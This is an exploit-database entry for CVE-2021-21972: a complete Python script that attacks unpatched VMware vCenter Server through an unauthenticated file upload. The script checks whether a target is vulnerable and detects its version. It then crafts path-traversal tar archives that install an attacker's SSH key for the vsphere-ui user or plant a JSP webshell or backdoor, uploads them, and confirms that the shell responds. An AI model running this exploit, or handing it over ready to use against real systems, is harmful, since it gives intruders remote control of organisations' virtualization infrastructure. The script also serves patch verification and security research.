VMware vCenter Server 7.0 - Unauthenticated File Upload

# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload
# Date: 2021-02-27
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)
# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds
# CVE: CVE-2021-21972

#!/usr/bin/env python3
'''
    Copyright 2021 Photubias(c)        
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    
    File name CVE-2021-21972.py
    written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

    CVE-2021-21972 is an unauthenticated file upload and overwrite,
     exploitation can be done via SSH public key upload or a webshell
     The webshell must be of type JSP, and its success depends heavily on the specific vCenter version
    
    # Manual verification:  https://<ip>/ui/vropspluginui/rest/services/checkmobregister
    #  A white page means vulnerable
    #  A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)
    # Notes:
    #  * On Linux SSH key upload is always best, when SSH access is possible & enabled
    #  * On Linux the upload is done as user vsphere-ui:users
    #  * On Windows the upload is done as system user
    #  * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui"
    #  * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload
    
    This is a native implementation without requirements, written in Python 3.
    Works equally well on Windows as Linux (as MacOS, probably ;-)
    
    Features: vulnerability checker + exploit
'''

import os, tarfile, sys, optparse, requests
requests.packages.urllib3.disable_warnings()

lProxy = {}
SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <env:Body>
      <RetrieveServiceContent xmlns="urn:vim25">
        <_this type="ServiceInstance">ServiceInstance</_this>
      </RetrieveServiceContent>
      </env:Body>
      </env:Envelope>'''
sURL = sFile = sRpath = sType = None

def parseArguments(options):
    global sURL, sFile, sType, sRpath, lProxy
    if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')
    sURL = options.url
    if sURL[-1:] == '/': sURL = sURL[:-1]
    if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL
    sFile = options.file
    if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)
    sType = 'ssh'
    if options.type: sType = options.type
    if options.rpath: sRpath = options.rpath
    else: sRpath = None
    if options.proxy: lProxy = {'https': options.proxy}

def getVersion(sURL):
    def getValue(sResponse, sTag = 'vendor'):
        try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]
        except: pass
        return ''
    oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)
    #print(oResponse.text)
    if oResponse.status_code == 200:
        sResult = oResponse.text
        if not 'VMware' in getValue(sResult, 'vendor'):
            exit('[-] Not a VMware system: ' + sURL)
        else:
            sName = getValue(sResult, 'name')
            sVersion = getValue(sResult, 'version') # e.g. 7.0.0
            sBuild = getValue(sResult, 'build') # e.g. 15934073
            sFull = getValue(sResult, 'fullName')
            print('[+] Identified: ' + sFull)
            return sVersion, sBuild
    exit('[-] Not a VMware system: ' + sURL)

def verify(sURL):
    #return True
    sURL += '/ui/vropspluginui/rest/services/uploadova'
    try:
        oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)
    except:
        exit('[-] System not available: ' + sURL)
    if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely
    else: return False

def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):
    def getResourcePath():
        oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)
        return oResponse.text.split('static/')[1].split('/')[0]
    oTar = tarfile.open('payloadLin.tar','w')
    if sRpath: ## version & build not important
        if sRpath[0] == '/': sRpath = sRpath[1:]
        sPayloadPath = '../../' + sRpath
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'absolute'
    elif sType.lower() == 'ssh': ## version & build not important
        sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'ssh'
    elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):
        ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)
        print('[!] Selected uploadpath: ' + sPayloadPath[5:])
        for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)
        oTar.close()
        return 'webshell'
    elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):
        ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)
        print('[!] Selected uploadpath: ' + sPayloadPath[5:])
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'backdoor'
    else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):
        ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)
        print('[!] Selected uploadpath: ' + sPayloadPath[5:])
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'backdoor'
    

def createTarWin(sFile, sRpath = None):
    ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows
    if sRpath:
        if sRpath[0] == '/': sRpath = sRpath[:1]
        sPayloadPath = '../../' + sRpath
    else:
        sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)
    oTar = tarfile.open('payloadWin.tar','w')
    oTar.add(sFile, arcname=sPayloadPath)
    oTar.close()

def uploadFile(sURL, sUploadType, sFile):
    #print('[!] Uploading ' + sFile)
    sFile = os.path.basename(sFile)
    sUploadURL = sURL +  '/ui/vropspluginui/rest/services/uploadova'
    arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}
    ## Linux
    oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)
    if oResponse.status_code == 200:
        if oResponse.text == 'SUCCESS':
            print('[+] Linux payload uploaded succesfully.')
            if sUploadType == 'ssh':
                print('[+] SSH key installed for user \'vsphere-ui\'.')
                print('     Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'')
                return True
            elif sUploadType == 'webshell':
                sWebshell = sURL + '/ui/resources/' + sFile
                #print('testing ' + sWebshell)
                oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
                if oResponse.status_code != 404:
                    print('[+] Webshell verified, please visit: ' + sWebshell)
                    return True
            elif sUploadType == 'backdoor':
                sWebshell = sURL + '/ui/resources/' + sFile
                print('[+] Backdoor ready, please reboot or wait for a reboot')
                print('     then open: ' + sWebshell)
            else: ## absolute
                pass
    ## Windows
    arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}
    oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)
    if oResponse.status_code == 200:
        if oResponse.text == 'SUCCESS':
            print('[+] Windows payload uploaded succesfully.')
            if sUploadType == 'backdoor':
                print('[+] Absolute upload looks OK')
                return True
            else:
                sWebshell = sURL + '/statsreport/' + sFile
                oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
                if oResponse.status_code != 404:
                    print('[+] Webshell verified, please visit: ' + sWebshell)
                    return True
    return False

if __name__ == "__main__":
    usage = (
        'Usage: %prog [option]\n'
        'Exploiting Windows & Linux vCenter Server\n'
        'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n'
        'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n'
        'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')

    parser = optparse.OptionParser(usage=usage)
    parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')
    parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')
    parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')
    parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')
    parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')
    
    (options, args) = parser.parse_args()
       
    parseArguments(options)
       
    ## Verify
    if verify(sURL): print('[+] Target vulnerable: ' + sURL)
    else: exit('[-] Target not vulnerable: ' + sURL)
    
    ## Read out the version
    sVersion, sBuild = getVersion(sURL)
    if sRpath: print('[!] Ready to upload your file to ' + sRpath)
    elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'')
    else: print('[!] Ready to upload webshell \'' + sFile + '\'')
    sAns = input('[?] Want to exploit? [y/N]: ')
    if not sAns or not sAns[0].lower() == 'y': exit()
    
    ## Create TAR file
    sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)
    if not sUploadType == 'ssh': createTarWin(sFile, sRpath)

    ## Upload and verify
    uploadFile(sURL, sUploadType, sFile)
    
    ## Cleanup
    os.remove('payloadLin.tar')
    os.remove('payloadWin.tar')